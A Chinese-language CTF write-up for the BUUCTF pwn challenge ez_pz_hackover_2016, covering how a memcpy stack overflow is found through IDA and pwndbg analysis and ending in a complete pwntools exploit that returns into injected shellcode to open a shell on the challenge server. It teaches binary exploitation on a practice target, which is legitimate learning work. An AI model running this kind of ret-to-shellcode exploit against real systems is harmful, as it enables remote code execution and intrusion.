• [BUUCTF]PWN——ez_pz_hackover_2016


    ez_pz_hackover_2016

    题目附件

    解题步骤:
    例行检查,32位,开启了RELRO保护,二进制的保护机制看这里
    由于没有开启nx保护,对于这题一开始想到的是利用写入shellcode来获取shell
    在这里插入图片描述
    试运行一下程序,看到程序一开始给我们了一个地址,随后让我们输入
    在这里插入图片描述
    32位ida载入,首先习惯性的shift+f12检索程序里的字符串,没有看到敏感的函数
    从main函数开始看程序
    在这里插入图片描述
    程序主体在chall函数里
    在这里插入图片描述
    一开始给我们输出了参数s的地址,之后利用fgets函数读入1023(0x3ff)长度的数据给s,s的大小是0x40c,没法造成溢出,之后将我们输入的数据利用strcmp函数跟crashme比较,如果不是这个字符串,就退出,

    strcmp函数在百度百科里的解释:
    两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’’为止

    也就是我们应该输入 ‘crashmex00’ 可以绕过这个if检查,之后执行vuln函数
    在这里插入图片描述
    百度百科里对memcpy函数的解释
    memcpy指的是C和C++使用的内存拷贝函数,函数原型为void *memcpy(void *destin, void *source, unsigned n);函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,即从源source中拷贝n个字节到目标destin中。
    这里将我们的参数s中拷贝0x400个字节到dest中,dest的大小只有0x32,存在溢出漏洞

    利用思路:
    往s参数里写入shellcode,执行vuln函数后让dest造成溢出,将返回地址修改为shellcode的地址去执行

    利用过程:

    1. 首先我们利用pwndbg动态调试,来找一下我们写入shellcode在栈上的地址位置

    在ida里找一个nop指令来下断点,我这边是利用0x8048600这个地址的nop
    在这里插入图片描述

    from pwn import *
    p=process('./ez_pz_hackover_2016')
    context.log_level='debug'
    
    gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点
    
    p.recvuntil('crash: ')
    stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
    print hex(stack)
    
    payload='crashmex00'+'aaaaaa'#前面的crashmex00绕过if判断
          #后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址
          #利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
    p.sendline(payload)
    
    pause()#linxu下的暂停程序命令
    

    将上述代码执行后会多跳出来一个图2,图1注意一下得到的s在栈上的地址
    在这里插入图片描述

    在这里插入图片描述
    按c继续执行下一步,看到它在我们下的断点处断开了
    在这里插入图片描述
    输入命令 stack 50 来查看一下栈布局,看到了我们输入的数据,‘ashme’,由于对齐的原因,没有跟 ‘cr’ 连在一起,我们看它上一行0x63就是 ‘c’ ,0x72是 ‘r’ ,由于小端序的原因,所以是这样的
    在这里插入图片描述

    看到ebp的位置是0x38,我们输入参数的位置是0x22(我们看左边是0x20,但其实是0x22,看0x20上的参数 0x72 63 00 00对应的0x23,0x22,0x21,0x20 我们实际上是在0x22处开始写如我们数据的)

    那么我们的ebp距离我们的输入点的距离是0x38-0x22=0x16;我们的shellcode应该写在ebp之后(32位程序的ebp占4个字节),就是在0x16+0x4处,换句话说我们在覆盖完ebp后的返回地址应该填写指向shellcode的地址

    payload='crashmex00'+'a'*(0x16-8+4)+p32(addr)
    

    -8是 ‘crashmex00’ 占用了8字节,+4是用来覆盖ebp的

    1. 接下来解决我们的指向shellcode的地址的问题
      我们一开始得到了一个栈上的地址0xffced7cc,它在参数s栈上的相对位置是0x20,我们的返回地址在参数s栈上的相对位置是0x3c(ebp+4),我们输入点距离我们的返回地址的距离是0x3c-0x20=0x1c ,所以我们可以用oxffced7cc-0x1c来表示返回地址
      在这里插入图片描述

    因此我们可以构造payload

    payload='crashmex00'+'a'*(0x16-8+4)+p32(stack-0x1c)+p32(shellcode)
    

    这样就完成了利用

    完整EXP:

    from pwn import *
    
    r=remote('node3.buuoj.cn',26843)
    #p=process('./ez_pz_hackover_2016')
    context.log_level='debug'
    
    #gdb.attach(p,'b *0x8048600')
    
    r.recvuntil('crash: ')
    stack=int(r.recv(10),16)
    shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode
    #print hex(stack)
    
    payload='crashmex00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode
    r.sendline(payload)
    
    #pause()
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    scrum项目冲刺_day03总结
    scrum项目冲刺_day02总结
    关于Map的PUT的value值的问题
    oracle见表
    sql优化(转载)
    oracle注意事项
    mybatis中jdbcType的作用和是否必须
    spring 的web.xml的加载顺序
    spring 另开线程时的注入问题
    获取客户端的ip
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273703.html
Copyright © 2020-2023  润新知